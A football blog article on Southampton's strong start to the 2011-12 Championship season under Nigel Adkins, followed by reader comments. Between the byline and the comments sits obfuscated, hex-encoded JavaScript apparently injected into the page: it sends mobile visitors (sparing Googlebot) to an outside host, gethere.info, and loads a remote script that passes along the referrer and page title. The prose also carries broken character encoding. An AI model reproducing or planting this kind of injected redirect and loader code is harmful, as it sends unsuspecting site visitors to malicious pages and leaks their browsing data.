Promotion from League 1 to the Npower Championship was a mixed bag of emotions. Southampton fans were obviously delighted to have breached the waters of League 1, but with the elation, came the worry that the Championship would be a too tough a test.

The Championship is an extremely competitive league. The prime example of this being that, along with the English top tier, the Championship has to take an international break due to the number of internationals playing in the league.

However, the way in which the Saints won their promotion gave hope of continued successes. Winning 9 out of 10 games at the end of last season secured the 2nd automatic promotion spot of the League 1 table. We joined our fellow south coast neighbours, Brighton & Hove Albion, who had already made safe their 2010/2011 Championship status in early April.

Home to the Championship leaders

.

Southampton gaffer, Nigel Adkins, has recently celebrated his first year anniversary with the club having joined the setup on 12th September 2010. He boasts such an impressive record that he currently is second only to Sir Alex Ferguson in terms of win percentage. The former physio, Adkins, comes across as very modest and with a healthy amount of self belief. He has said on a number of occasions that he was keen to join Southampton because of the setup, the staff and the hunger of the players.

The summer transfer window was hardly frantic, but in a lot of peopleai??i??s opinion, it did not need to be. The squad had, and still does have, great quality. Inevitably, the Saints were unable to keep hold of Alex Oxlade-Chamberlain, who had been scouted by a number of top clubs for some time. He made his protracted transfer to Arsenal for a club record A?15m (A?12m up front + A?3 in add-ons).

Despite the sale, the Saints were still left with a mixture of experience and young talent which meant that minor improvements were all that were needed. Adkins moved for Chelsea midfielder Jack Cork, who had most recently been loaned to Burnley. Cork had spent a loan spell with the Saints in 2008 and was a welcome addition to the squad. Another player to join was Belgian, Steve De Ridder. De Ridder had been plying his trade in the Eredivisie with De Graafschap and had been their 2010-11 player of the year. A winger, he offers pace and has the ability to leave defenders behind with a crafty step over (or two!). On the final day of the transfer window, a much needed centre-back, Jos Hooiveld was signed on loan from SPL giants Celtic and this concluded Southamptonai??i??s summer transfer activity.

The 2011-12 season got off to a flying start for Southampton. A televised 3-1 home win on the first day of the season was a message to the rest of the league that we were not in the league to just survive. There have been slip ups away to Leicester and Cardiff but substantial victories against Ipswich, Birmingham and most recently Watford put the Saints at the top of the table going into the international break.

The football has been very pleasant on the eye. It is a rarity when the ball is played long to Championship debutant striker – and current top-scorer – Rickie Lambert. Instead, Adkins wants Southampton to play the ball along the floor, looking for the right pass, opening up defences with vision and simple football. Weai??i??ve seen this season that even long standing goalkeeper Kelvin Davis is being asked to play in this way. Davis will often start a move from a goal kick, played along the floor to his defence, building from the back and retaining possession.

The players look confident on the ball and unfazed by the physicality of the league thus far. Adkins insists that the squad is realistic; he knows that the table will change but he believes that the football Saints are playing will ultimately get the desired results. Back to back promotions would be an incredible achievement for Adkins and the Saints. The football being played is threatening and challenging to the opponents and thereai??i??s a belief amongst the players and staff that the team has what it takes to not only survive but excel in the league.

Young winger Adam Lallana appears to be flourishing in the league. He is linking up well with his fellow midfielders along with the strike force. He is a player with huge talent and one that will undoubtedly catch the eye of a number of premier league managers in time to come.Ai??Another midfielder who looks more than comfortable in the Championship is the Brazilian Guly Do Prado. His relaxed style of play often comes across as though he is disinterested; however, his skill and vision are unquestionably impressive.

New signing Jos Hooiveld and Jose Fonte have begun to gel in central defence which will please fans after the uncertainty on who would partner Fonte. Striker Rickie Lambert has never played above League 1 level, having played over 120 games for Bristol Rovers. He has a great vision for goal; heai??i??s a superb penalty taker, is good in the air and really suits the physicality of the league.

The Southampton academy has produced some exceptional talent; Walcott, Bale, Lallana and Oxlade-Chamberlain have been products of it in recent years. Youngster Luke Shaw, an attacking full-back who featured in Saints’ Carling Cup squad against Preston North End, has caught the eye of Arsenal. He has an eye for goal, is a threat through set pieces and has been playing regularly for the under 18ai??i??s for some time. Understandably, Saints are keen to retain the services of all their promising youngsters where possible!

While the Saints sit happily on top, October promises to be a busy and testing month. It sees the Saints face tough competition in the shape of Derby, West Ham & Middlesbrough at home, along with away trips to Reading and Crystal Palace. The players will need to keep their heads down and work as hard as they have been doing so far.

The team is in high spirits and the manager is looking to harness it and continue to drive them forward. Southampton fans are simply enjoying the ride, while dreaming of a return to the top flight.

——-

Article written by Josh Billinge

You can follow him on his blog and on twitter @judgementaljosh

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0xd052=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x33\x63\x58\x66\x71\x6B\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

3 Responses to “Southampton’s Corner: The Incredible Rise Of Nigel Adkins’ Super Saints”

Read below or add a comment...

  1. Liam says:

    LOVE IT!!!

  2. Andrew says:

    Good article. Thanks. Just one thing….you forgot the signing of Danny Fox

  3. Thanks for the comments Liam & Andrew. Much appreciated. Saints are giving me some great material at the moment, long may it continue!

    Apologies Andrew, you’re entirely correct. I missed the signing of Danny Fox who has been deputising for Dan Harding admirably these past few games. Well spotted.